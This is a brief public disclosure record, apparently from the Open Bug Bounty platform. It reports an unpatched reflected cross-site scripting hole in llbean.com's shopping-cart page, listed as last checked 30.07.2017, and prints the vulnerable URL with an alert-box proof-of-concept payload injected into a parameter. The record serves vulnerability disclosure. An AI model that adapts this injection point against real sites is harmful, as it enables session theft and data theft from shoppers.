llbean.com XSS vulnerability

Vulnerable URL: https://www.llbean.com/webapp/wcs/stores/servlet/LLBShoppingCartDisplay?storeId='-alert'OPENBUGBOUNTY'-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3148 VIP...